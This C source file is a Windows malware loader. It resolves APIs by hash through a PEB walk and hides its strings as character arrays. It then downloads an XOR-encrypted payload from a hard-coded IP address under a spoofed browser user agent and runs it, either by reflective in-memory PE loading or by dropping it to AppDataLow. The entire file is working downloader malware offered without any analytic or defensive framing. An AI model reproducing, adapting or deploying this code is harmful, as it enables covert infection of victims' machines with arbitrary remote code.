#include <Windows.h>
#include <winternl.h>

#include "loader.h"
#include "winapi.h"

#pragma comment( linker, "/subsystem:console" )
#pragma section(".loader", read,execute)
#pragma code_seg(".loader")

__declspec(allocate(".loader"))
LOADER_CONFIG pLoaderConfig = 
{
	0xdeadbeef,
	0x6281f17f,																										
	{ 'h', 't', 't', 'p', ':', '/', '/', '1', '4', '.', '1', '3', '6', '.', '2', '3', '6', '.', '1', '5', '5', '/', '9', 'z', '8', 'o', '5', 'd', '9', 'l', '0', 'p', '6', 'c', '.', 'd', 'a', 't', 0x0, 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 0x0 },
	{ 'K', 'E', 'R', 'N', 'E', 'L', '3', '2', 0x0 },
	{ 'N', 'T', 'D', 'L', 'L', 0x0 },
	{ 'W', 'I', 'N', 'I', 'N', 'E', 'T', 0x0 },
	{ 'S', 'H', 'E', 'L', 'L', '3', '2', 0x0 },

	{ 'V', 'i', 'r', 't', 'u', 'a', 'l', 'A', 'l', 'l', 'o', 'c', 0x0 },
	{ 'V', 'i', 'r', 't', 'u', 'a', 'l', 'P', 'r', 'o', 't', 'e', 'c', 't', 0x0 },

	{ 'C', 'r', 'e', 'a', 't', 'e', 'F', 'i', 'l', 'e', 'W', 0x0 },
	{ 'W', 'r', 'i', 't', 'e', 'F', 'i', 'l', 'e', 0x0 },
	{ 'C', 'l', 'o', 's', 'e', 'H', 'a', 'n', 'd', 'l', 'e', 0x0 },
	{ 'G', 'e', 't', 'S', 'h', 'o', 'r', 't', 'P', 'a', 't', 'h', 'N', 'a', 'm', 'e', 'W', 0x0 },
	{ 'G', 'e', 't', 'T', 'e', 'm', 'p', 'P', 'a', 't', 'h', 'W', 0x0 },
	{ 'S', 'H', 'G', 'e', 't', 'K', 'n', 'o', 'w', 'n', 'F', 'o', 'l', 'd', 'e', 'r', 'P', 'a', 't', 'h', 0x0 },
	{ 'L', 'o', 'a', 'd', 'L', 'i', 'b', 'r', 'a', 'r', 'y', 'W', 0x0 },
	{ 'F', 'r', 'e', 'e', 'L', 'i', 'b', 'r', 'a', 'r', 'y', 0x0 },
	{ 'D', 'e', 'l', 'e', 't', 'e', 'F', 'i', 'l', 'e', 'W', 0x0 },

	{ 'I', 'n', 't', 'e', 'r', 'n', 'e', 't', 'O', 'p', 'e', 'n', 'A', 0x0 },
	{ 'I', 'n', 't', 'e', 'r', 'n', 'e', 't', 'O', 'p', 'e', 'n', 'U', 'r', 'l', 'A', 0x0 },
	{ 'H', 't', 't', 'p', 'Q', 'u', 'e', 'r', 'y', 'I', 'n', 'f', 'o', 'W', 0x0 },
	{ 'I', 'n', 't', 'e', 'r', 'n', 'e', 't', 'R', 'e', 'a', 'd', 'F', 'i', 'l', 'e', 'E', 'x', 'A', 0x0 }, 
	{ '_', 'w', 't', 'o', 'i', 0x0 },
	{ 'E', 'x', 'i', 't', 'P', 'r', 'o', 'c', 'e', 's', 's', 0x0 },

	//{ '?', 'q', 'w', 'o', 'p', 'f', 'n', 'c', 'h', '@', '@', 'Y', 'G', 'H', 'P', 'A', 'K', '@', 'Z', 0x0 },
	{ 'q', 'w', 'o', 'p', 'f', 'n', 'c', 'h', 0x0 },
	{ 'M', 'o', 'z', 'i', 'l', 'l', 'a', '/', '4', '.', '0', ' ', '(', 'c', 'o', 'm', 'p', 'a', 't', 'i', 'b', 'l', 'e', ';', ' ', 'M', 'S', 'I', 'E', ' ', '7', '.', '0', ';', ' ', 'W', 'i', 'n', 'd', 'o', 'w', 's', ' ', 'N', 'T', ' ', '6', '.', '1', ';', ' ', 'W', 'O', 'W', '6', '4', ';', ' ', 'T', 'r', 'i', 'd', 'e', 'n', 't', '/', '5', '.', '0', ';', ' ', 'S', 'L', 'C', 'C', '2', ';', ' ', '.', 'N', 'E', 'T', ' ', 'C', 'L', 'R', ' ', '2', '.', '0', '.', '5', '0', '7', '2', '7', ';', ' ', '.', 'N', 'E', 'T', ' ', 'C', 'L', 'R', ' ', '3', '.', '5', '.', '3', '0', '7', '2', '9', ';', ' ', '.', 'N', 'E', 'T', ' ', 'C', 'L', 'R', ' ', '3', '.', '0', '.', '3', '0', '7', '2', '9', ';', ' ', 'M', 'e', 'd', 'i', 'a', ' ', 'C', 'e', 'n', 't', 'e', 'r', ' ', 'P', 'C', ' ', '6', '.', '0', ';', ' ', '.', 'N', 'E', 'T', '4', '.', '0', 'C', ';', ' ', '.', 'N', 'E', 'T', '4', '.', '0', 'E', ';', ' ', 'M', 'D', 'D', 'R', 'J', 'S', ')', 0x0 },
};

int main() { Startup(); };
#ifndef _WIN64
__declspec(naked) VOID Startup()
#else
VOID Startup()
#endif
{
#ifndef _WIN64
	__asm
	{
		nop
		call next					// start of shellcode gadget (don't touch)
next:					
		pop eax	
		and eax, 0xfffff000			// end of shellcode gadget (don't touch)

		call next2
next2:
		pop esi
		nop

next3:
		mov ebx, 0xdeadbeef
		cmp ebx, [esi]
		je start_loader

		dec esi
		jmp next3

start_loader:
		push esi
		call Loader
	}
#else
	Loader(NULL);
#endif
}

VOID Loader(__in PLOADER_CONFIG lpLoaderConfig)
{
	VTABLE pVtable;
	pVtable.lpLoaderConfig = lpLoaderConfig;

	if (!LoadVTable(&pVtable))
		return;

	DWORD dwFileSize;
	LPBYTE lpFileBuffer = DownloadAndDecrypt(&pVtable, lpLoaderConfig->strUserAgent, 
			lpLoaderConfig->strUrl, 
			&dwFileSize, 
			lpLoaderConfig->dwXorKey, 
			lpLoaderConfig->dwXorKey ? TRUE : FALSE);

#ifndef _WIN64
	CRTMAIN fpMain = NULL;
#else
	CRTMAIN64 fpMain = NULL;
#endif
	EXPORT fpExport = NULL;
	if (lpFileBuffer)
	{
#ifdef LOAD_FROM_DISK
		LPWSTR lpDllName = DropFile(&pVtable, lpFileBuffer, dwFileSize);
		if (lpDllName)
		{
			HMODULE hMod = pVtable.LoadLibraryW(lpDllName);
			if (!hMod)
				pVtable.ExitProcess(0);

			EXPORT2 fpExport = (EXPORT2) pVtable.GetProcAddress(hMod, pVtable.lpLoaderConfig->strExportName);
			fpExport(0);

			pVtable.FreeLibrary(hMod);
			pVtable.FreeLibrary(hMod);
			pVtable.FreeLibrary(hMod);
		}
		else
			pVtable.ExitProcess(0);
#else
#ifndef _WIN64
		fpMain = (CRTMAIN) _LoadLibrary(&pVtable, lpFileBuffer, (LPVOID *)&fpExport);
#else
		fpMain = (CRTMAIN64) _LoadLibrary(&pVtable, lpFileBuffer, (LPVOID *)&fpExport);
#endif
#endif
	}
	else
		pVtable.ExitProcess(0);

	if (fpMain)
#ifdef _WIN64
		fpMain(__readgsqword(0x60));	
#else
		fpMain(__readfsdword(0x30)); 
#endif
	else
		pVtable.ExitProcess(0);

	if (fpExport)
		fpExport();
}

BOOL LoadVTable(__out PVTABLE lpTable)
{
	HMODULE hKernel32;

	if (!GetPointers(&lpTable->GetProcAddress, &lpTable->LoadLibraryA, (PHANDLE)&hKernel32))
		return FALSE;

	lpTable->VirtualAlloc = (VIRTUALALLOC) lpTable->GetProcAddress(hKernel32, lpTable->lpLoaderConfig->strVirtualAlloc);
	lpTable->VirtualProtect = (VIRTUALPROTECT) lpTable->GetProcAddress(hKernel32, lpTable->lpLoaderConfig->strVirtualProtect);
	lpTable->GetTempPathW = (GETTEMPPATHW) lpTable->GetProcAddress(hKernel32, lpTable->lpLoaderConfig->strGetTempPathW);
	lpTable->GetShortPathNameW = (GETSHORTPATHNAMEW) lpTable->GetProcAddress(hKernel32, lpTable->lpLoaderConfig->strGetShortPathNameW);
	lpTable->LoadLibraryW = (LOADLIBRARYW) lpTable->GetProcAddress(hKernel32, lpTable->lpLoaderConfig->strLoadLibraryW);
	lpTable->FreeLibrary = (FREELIBRARY) lpTable->GetProcAddress(hKernel32, lpTable->lpLoaderConfig->strFreeLibrary);
	lpTable->DeleteFileW = (DELETEFILEW) lpTable->GetProcAddress(hKernel32, lpTable->lpLoaderConfig->strDeleteFileW);
	lpTable->CreateFileW = (CREATEFILEW) lpTable->GetProcAddress(hKernel32, lpTable->lpLoaderConfig->strCreateFileW);
	lpTable->WriteFile = (WRITEFILE) lpTable->GetProcAddress(hKernel32, lpTable->lpLoaderConfig->strWriteFile);
	lpTable->CloseHandle = (CLOSEHANDLE) lpTable->GetProcAddress(hKernel32, lpTable->lpLoaderConfig->strCloseHandle);
	lpTable->ExitProcess = (EXITPROCESS) lpTable->GetProcAddress(hKernel32, lpTable->lpLoaderConfig->strExitProcess);	

	HMODULE hWinInet = lpTable->LoadLibraryA(lpTable->lpLoaderConfig->strWinInet);
	lpTable->InternetOpenA = (INTERNETOPENA) lpTable->GetProcAddress(hWinInet, lpTable->lpLoaderConfig->strInternetOpenA);
	lpTable->InternetOpenUrlA = (INTERNETOPENURLA) lpTable->GetProcAddress(hWinInet, lpTable->lpLoaderConfig->strInternetOpenUrlA);
	lpTable->InternetReadFileExA = (INTERNETREADFILEEXA) lpTable->GetProcAddress(hWinInet, lpTable->lpLoaderConfig->strInternetReadFileExA);
	lpTable->HttpQueryInfoW = (HTTPQUERYINFOW) lpTable->GetProcAddress(hWinInet, lpTable->lpLoaderConfig->strHttpQueryInfoW);

	HMODULE hNtDll = lpTable->LoadLibraryA(lpTable->lpLoaderConfig->strNtDll);
	lpTable->wtoi = (WTOI) lpTable->GetProcAddress(hNtDll, lpTable->lpLoaderConfig->strWtoi);

	HMODULE hShell32 = lpTable->LoadLibraryA(lpTable->lpLoaderConfig->strShell32);
	lpTable->SHGetKnownFolderPath = (SHGETKNOWNFOLDERPATH) lpTable->GetProcAddress(hShell32, lpTable->lpLoaderConfig->strSHGetKnownFolderPath);

	if (!lpTable->VirtualAlloc ||
		!lpTable->VirtualProtect || 
		!lpTable->GetTempPathW || 
		!lpTable->GetShortPathNameW ||
		!lpTable->LoadLibraryW ||
		!lpTable->FreeLibrary || 
		!lpTable->CreateFileW || 
		!lpTable->WriteFile || 
		!lpTable->CloseHandle || 
		!lpTable->ExitProcess || 
		!lpTable->InternetOpenA || 
		!lpTable->InternetOpenUrlA || 
		!lpTable->InternetReadFileExA || 
		!lpTable->HttpQueryInfoW || 
		!lpTable->wtoi) return FALSE;

	return TRUE;
}

BOOL GetPointers(
	__out PGETPROCADDRESS fpGetProcAddress, 
	__out PLOADLIBRARYA fpLoadLibraryA,
	__out PHANDLE pKernel32)
{
	*pKernel32 = GetKernel32Handle();
	if (*pKernel32 == INVALID_HANDLE_VALUE)
		return FALSE;

	LPBYTE lpBaseAddr = (LPBYTE) *pKernel32;
	PIMAGE_DOS_HEADER lpDosHdr = (PIMAGE_DOS_HEADER) lpBaseAddr;
	PIMAGE_NT_HEADERS pNtHdrs = (PIMAGE_NT_HEADERS) (lpBaseAddr + lpDosHdr->e_lfanew);
	PIMAGE_EXPORT_DIRECTORY pExportDir = (PIMAGE_EXPORT_DIRECTORY) (lpBaseAddr +  pNtHdrs->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);

	LPDWORD pNameArray = (LPDWORD) (lpBaseAddr + pExportDir->AddressOfNames);
	LPDWORD pAddrArray = (LPDWORD) (lpBaseAddr + pExportDir->AddressOfFunctions);
	LPWORD pOrdArray  = (LPWORD) (lpBaseAddr+ pExportDir->AddressOfNameOrdinals);

	*fpGetProcAddress = NULL;
	*fpLoadLibraryA = NULL;

	for (UINT i=0; i<pExportDir->NumberOfNames; i++)
	{
		LPSTR pFuncName = (LPSTR) (lpBaseAddr + pNameArray[i]);
	
		if (GetStringHash(pFuncName, FALSE, 14) == 0x7c0dfcaa) 
			*fpGetProcAddress = (GETPROCADDRESS) (lpBaseAddr + pAddrArray[pOrdArray[i]]);
		else if (GetStringHash(pFuncName, FALSE, 12) == 0xec0e4e8e)
			*fpLoadLibraryA = (LOADLIBRARYA) (lpBaseAddr + pAddrArray[pOrdArray[i]]);
	
		if (*fpGetProcAddress && *fpLoadLibraryA)
			return TRUE;
	}

	return FALSE;
}

HANDLE GetKernel32Handle()
{
	HANDLE hKernel32 = INVALID_HANDLE_VALUE;
#ifdef _WIN64
	PPEB lpPeb = (PPEB) __readgsqword(0x60);
#else
	PPEB lpPeb = (PPEB) __readfsdword(0x30);
#endif
	PLIST_ENTRY pListHead = &lpPeb->Ldr->InMemoryOrderModuleList;
	PLIST_ENTRY pListEntry = pListHead->Flink;	

	while (pListEntry != pListHead)
	{
		PLDR_DATA_TABLE_ENTRY pModEntry = CONTAINING_RECORD(pListEntry, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks);
 		if (pModEntry->FullDllName.Length)
		{
			DWORD dwLen	= pModEntry->FullDllName.Length;
			PWCHAR strName = (pModEntry->FullDllName.Buffer + (dwLen/sizeof(WCHAR))) - 13;

			if (GetStringHash(strName, TRUE, 13) == 0x8fecdbff || GetStringHash(strName, TRUE, 13) == 0x6e2bcfd7)
			{
				hKernel32 = pModEntry->DllBase;
				break;
			}
		}
		pListEntry = pListEntry->Flink;
	}

	return hKernel32;
}

DWORD GetStringHash(
	__in LPVOID lpBuffer, 
	__in BOOL bUnicode, 
	__in UINT uLen)
{
	DWORD dwHash = 0;
	LPSTR strBuffer = (LPSTR) lpBuffer;

	while (uLen--)
    {
		dwHash = (dwHash >> 13) | (dwHash << 19);
		dwHash +=  (DWORD)*strBuffer++;

		if (bUnicode)
				strBuffer++;			
    }
    return dwHash;
}

LPBYTE DownloadAndDecrypt(__in PVTABLE lpTable, __in LPSTR strUserAgent, __in LPSTR strUrl, __in LPDWORD dwFileLen, __in DWORD dwXorKey, BOOL bXored)
{
	CHAR strBuff[17];
	HINTERNET hInternet;
	DWORD dwBuffLen, dwIdx;
	
	hInternet = lpTable->InternetOpenA(strUserAgent, INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
	if (hInternet)
	{
		HINTERNET hUrl = lpTable->InternetOpenUrlA(hInternet, strUrl, NULL, 0, INTERNET_FLAG_NO_CACHE_WRITE|INTERNET_FLAG_PRAGMA_NOCACHE, NULL);
		if (hUrl)
		{
			dwBuffLen = 16;
			dwIdx = 0;

			lpTable->HttpQueryInfoW(hUrl, HTTP_QUERY_CONTENT_LENGTH, strBuff, &dwBuffLen, &dwIdx);
			*dwFileLen = lpTable->wtoi((LPWSTR)strBuff);

			LPBYTE lpFileBuffer = (LPBYTE) lpTable->VirtualAlloc(NULL, *dwFileLen, MEM_COMMIT, PAGE_READWRITE);			
			if (DownloadFile(lpTable, hUrl, lpFileBuffer, *dwFileLen))
			{
				if (bXored)
					return Decrypt(lpFileBuffer, *dwFileLen, dwXorKey);
				else
					return lpFileBuffer;
			}
		}
	}

	return NULL;
}

BOOL DownloadFile(__in PVTABLE lpTable, __in HINTERNET hUrl, __in LPBYTE lpBuffer, __in DWORD dwBufferLen)
{
	DWORD dwRead = 0;
	INTERNET_BUFFERSA pInternetBuff;

	__MEMSET__(&pInternetBuff, 0x0, sizeof(INTERNET_BUFFERSA));
	pInternetBuff.dwStructSize = sizeof(INTERNET_BUFFERS);
	pInternetBuff.Next = NULL;
	pInternetBuff.lpvBuffer = lpBuffer;
	pInternetBuff.dwBufferLength = dwBufferLen;

	if (lpTable->InternetReadFileExA(hUrl, &pInternetBuff, IRF_SYNC, NULL)) // FIXME
	{
		if (pInternetBuff.dwBufferLength == dwBufferLen)
			return TRUE;
	}

	return FALSE;
}

LPBYTE Decrypt(__in LPBYTE lpBuffer, __in DWORD dwBuffLen, __in DWORD dwXorKey)
{
	LPDWORD lpD = (LPDWORD) lpBuffer;
	LPBYTE lpB = (LPBYTE) lpBuffer;

	for (UINT i=0; i<dwBuffLen/4; i++)
		lpD[i] ^= dwXorKey;
	for (UINT i=dwBuffLen - (dwBuffLen%4); i<dwBuffLen; i++)
		lpB[i] ^= 0x41;

	return lpBuffer;
}

#ifdef LOAD_FROM_DISK
LPWSTR GetDropPath(__in PVTABLE lpTable)
{
	GUID idAppDataLow;
	LPWSTR strFileName;
	LPWSTR strShortFileName = (LPWSTR) lpTable->VirtualAlloc(NULL, 0x8000 * sizeof(WCHAR), MEM_COMMIT, PAGE_READWRITE);

	idAppDataLow.Data1 = 0xA520A1A4;
	idAppDataLow.Data2 = 0x1780;
	idAppDataLow.Data3 = 0x4FF6;
	idAppDataLow.Data4[0] = 0xBD;
	idAppDataLow.Data4[1] = 0x18;
	idAppDataLow.Data4[2] = 0x16;
	idAppDataLow.Data4[3] = 0x73;
	idAppDataLow.Data4[4] = 0x43;
	idAppDataLow.Data4[5] = 0xc5;
	idAppDataLow.Data4[6] = 0xaf;
	idAppDataLow.Data4[7] = 0x16;
	
	if (!lpTable->SHGetKnownFolderPath || lpTable->SHGetKnownFolderPath((REFKNOWNFOLDERID)idAppDataLow, 0, NULL, &strFileName) != S_OK)
	{
		strFileName = (LPWSTR) lpTable->VirtualAlloc(NULL, 0x8000 * sizeof(WCHAR), MEM_COMMIT, PAGE_READWRITE);
		lpTable->GetTempPathW(0x8000, strFileName);
	}

	strShortFileName = (LPWSTR) lpTable->VirtualAlloc(NULL, 0x8000 * sizeof(WCHAR), MEM_COMMIT, PAGE_READWRITE);

	__MEMSET__(strShortFileName, 0x0, 0x8000 * sizeof(WCHAR));
	lpTable->GetShortPathNameW(strFileName, strShortFileName, 0x8000);

	LPWSTR strBuff = strShortFileName;
	while(*strBuff++); strBuff-=2;
	if (*(strBuff) != L'\\')
	{
		*(strBuff+1) = L'\\';
		strBuff++;
	}
	
	*(strBuff+1) = L'A';
	*(strBuff+2) = L'.';
	*(strBuff+3) = L'b';	
	
	return strShortFileName;
}

LPWSTR DropFile(__in PVTABLE lpTable, __in LPBYTE lpFileBuffer, __in DWORD dwFileSize)
{
	DWORD dwOut;
	HANDLE hFile;
	LPWSTR strFileName;
	
	strFileName = GetDropPath(lpTable);

	hFile = lpTable->CreateFileW(strFileName, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
	if (hFile == INVALID_HANDLE_VALUE)
		return NULL;
	lpTable->WriteFile(hFile, lpFileBuffer, dwFileSize, &dwOut, NULL);
	lpTable->CloseHandle(hFile);

	return strFileName;
}
#else
LPVOID _LoadLibrary(
	__in PVTABLE lpTable,
	__in LPVOID lpRawBuffer,
	__out LPVOID *lpExport)
{
	LPVOID lpAddress = NULL;
	IMAGE_DOS_HEADER dos_header;
	IMAGE_NT_HEADERS32 pe_header;
	DWORD header_size = 0;

	*lpExport = NULL;

	__MEMCPY__(&dos_header, lpRawBuffer, sizeof(dos_header));
	if (dos_header.e_magic != IMAGE_DOS_SIGNATURE)
		return NULL;

	__MEMCPY__(&pe_header, CALC_OFFSET(LPVOID, lpRawBuffer, dos_header.e_lfanew), sizeof(pe_header));
	if (pe_header.Signature != IMAGE_NT_SIGNATURE)
		return NULL;

	lpAddress = lpTable->VirtualAlloc(NULL, pe_header.OptionalHeader.SizeOfImage, MEM_COMMIT, PAGE_READWRITE);
	if (lpAddress == NULL)
		return NULL;

	header_size = dos_header.e_lfanew + pe_header.FileHeader.SizeOfOptionalHeader + sizeof(pe_header.FileHeader) + 4;

	IMAGE_SECTION_HEADER section;
	LPVOID lpBufferPtr = CALC_OFFSET(LPVOID, lpRawBuffer, header_size);
	__MEMCPY__(&section, lpBufferPtr, sizeof(section));
	__MEMCPY__(lpAddress, lpRawBuffer, section.PointerToRawData);

	PIMAGE_SECTION_HEADER sections = CALC_OFFSET(PIMAGE_SECTION_HEADER, lpAddress, header_size);
	for(USHORT i = 0; i < pe_header.FileHeader.NumberOfSections; i++, sections++)
	{
		LPVOID lpSectionBuffer = CALC_OFFSET(LPVOID, lpAddress, sections->VirtualAddress);
		__MEMCPY__(lpSectionBuffer, CALC_OFFSET(LPVOID, lpRawBuffer, sections->PointerToRawData), min(sections->SizeOfRawData, sections->Misc.VirtualSize));
	}

	// relocations
	DWORD dwRelocSize = pe_header.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size;
	DWORD dwRelocAddr = pe_header.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress;
	
	if (dwRelocAddr != 0 && dwRelocSize != 0)
	{
		LPBYTE lpPtr = CALC_OFFSET(LPBYTE, lpAddress, dwRelocAddr);
		while(dwRelocSize > 0)
		{
			base_relocation_block_t block;
			__MEMCPY__(&block, lpPtr, sizeof(base_relocation_block_t));

			dwRelocSize -= block.BlockSize;
			lpPtr += sizeof(base_relocation_block_t);
			block.BlockSize -= 8;

			while(block.BlockSize)
			{
				base_relocation_entry_t entry;
				__MEMCPY__(&entry, lpPtr, sizeof(WORD));

				LPDWORD ptrOffset = CALC_OFFSET(LPDWORD, lpAddress, block.PageRVA + entry.offset);
				DWORD dwOldValue = *ptrOffset;

				DWORD dwNewValue = dwOldValue - pe_header.OptionalHeader.ImageBase + (DWORD) lpAddress;
				LPWORD ptrHighOffset = CALC_OFFSET_DISP(LPWORD, lpAddress, block.PageRVA + entry.offset, 2);
				LPWORD ptrLowOffset = CALC_OFFSET_DISP(LPWORD, lpAddress, block.PageRVA + entry.offset, 0);

				WORD wLowNewOffset = (WORD) ((DWORD) lpAddress & 0xffff);
				WORD wHighNewOffset = (WORD) (((DWORD) lpAddress & 0xffff0000) >> 16);

				switch(entry.type)
				{
				case IMAGE_REL_BASED_ABSOLUTE:
					break;
				case IMAGE_REL_BASED_HIGH: 
					break;
				case IMAGE_REL_BASED_LOW:
					break;
				case IMAGE_REL_BASED_HIGHLOW:
					*ptrOffset = dwNewValue;
					break;
				case IMAGE_REL_BASED_HIGHADJ:
					break;
				case IMAGE_REL_BASED_DIR64:
					break; 
				}
				
				lpPtr += sizeof(base_relocation_entry);
				block.BlockSize -= 2;
			}
		}
	}


	// imports
	DWORD dwIatSize = pe_header.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size;
	DWORD dwIatAddr = pe_header.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress;

	if (dwIatAddr != 0)
	{
		PIMAGE_IMPORT_DESCRIPTOR pImportDescriptor = CALC_OFFSET(PIMAGE_IMPORT_DESCRIPTOR, lpAddress, dwIatAddr);
		while(pImportDescriptor)
		{
			if (pImportDescriptor->FirstThunk == 0)
			{
				pImportDescriptor = NULL;
				continue;
			}

			LPDWORD pImportLookupTable = CALC_OFFSET(LPDWORD, lpAddress, pImportDescriptor->FirstThunk);
			LPSTR lpModName = CALC_OFFSET(LPSTR, lpAddress, pImportDescriptor->Name);
			
			HMODULE hMod = lpTable->LoadLibraryA(lpModName);

			if (hMod != NULL)
			{
				while(*pImportLookupTable != 0x00)
				{
					if ((*pImportLookupTable & IMAGE_ORDINAL_FLAG) != 0x00)
					{
						DWORD pOrdinalValue = *(CALC_OFFSET(LPDWORD, pImportLookupTable, 0)) & 0x0000ffff;
						*pImportLookupTable = (DWORD) lpTable->GetProcAddress(hMod, (LPSTR)pOrdinalValue);
					}
					else
					{
						LPSTR lpProcName = CALC_OFFSET_DISP(LPSTR, lpAddress, (*pImportLookupTable), 2);	// adding two bytes
						*pImportLookupTable = (DWORD) lpTable->GetProcAddress(hMod, lpProcName);
					}
					pImportLookupTable++;
				}
			}
			pImportDescriptor++;
		}
	}
		
	// exports
	HMODULE hModule = (HMODULE) lpAddress;
	PIMAGE_DOS_HEADER pImageDosHeader = (PIMAGE_DOS_HEADER) hModule;
	PIMAGE_NT_HEADERS pImageNtHeaders = CALC_OFFSET(PIMAGE_NT_HEADERS, hModule, pImageDosHeader->e_lfanew);
	PIMAGE_DATA_DIRECTORY pExportDir = &pImageNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
	if (pExportDir->Size != 0 && pExportDir->VirtualAddress != 0)
	{
		PIMAGE_EXPORT_DIRECTORY pExportDirectory = (PIMAGE_EXPORT_DIRECTORY) ((LPBYTE)hModule + pExportDir->VirtualAddress);

		pExportDirectory->AddressOfNames += DWORD(hModule);
		pExportDirectory->AddressOfFunctions += DWORD(hModule);
		pExportDirectory->AddressOfNameOrdinals += DWORD(hModule);

		LPDWORD ptrFunctions = (LPDWORD) pExportDirectory->AddressOfFunctions;
		LPDWORD ptrNames = (LPDWORD) pExportDirectory->AddressOfNames;

		for(DWORD i = 0; i < pExportDirectory->NumberOfNames; i++)
		{
			ptrFunctions[i] += (DWORD) hModule;
			ptrNames[i] += (DWORD) hModule;

			*lpExport = (LPVOID) ptrFunctions[i];
		}
	}

	// fix perms
	DWORD ignore = 0;
	sections = CALC_OFFSET(PIMAGE_SECTION_HEADER, lpAddress, header_size);
	for(USHORT i = 0; i < pe_header.FileHeader.NumberOfSections; i++, sections++)
	{
		LPVOID lpSectionBuffer = CALC_OFFSET(LPVOID, lpAddress, sections->VirtualAddress);
		if ((sections->Characteristics & IMAGE_SCN_MEM_EXECUTE) == IMAGE_SCN_MEM_EXECUTE)
			lpTable->VirtualProtect(lpSectionBuffer, sections->Misc.VirtualSize, PAGE_EXECUTE_READWRITE, &ignore);
	}

	lpTable->VirtualProtect(lpAddress, header_size, PAGE_READONLY, &ignore);

	return CALC_OFFSET(LPVOID, lpAddress, pe_header.OptionalHeader.AddressOfEntryPoint);
}
#endif

#pragma optimize("", off) 
VOID __MEMSET__(__in LPVOID p, __in CHAR cValue, __in DWORD dwSize)
{
	for (UINT i=0; i<dwSize; i++)
		((PCHAR)p)[i] = cValue;
}

LPVOID __MEMCPY__(
	__in LPVOID lpDst, 
	__in LPVOID lpSrc, 
	__in DWORD dwCount)
{
	LPBYTE s = (LPBYTE) lpSrc;
	LPBYTE d = (LPBYTE) lpDst;

	while (dwCount--)
		*d++ = *s++;

	return lpDst;
}
#pragma optimize("", on) 


.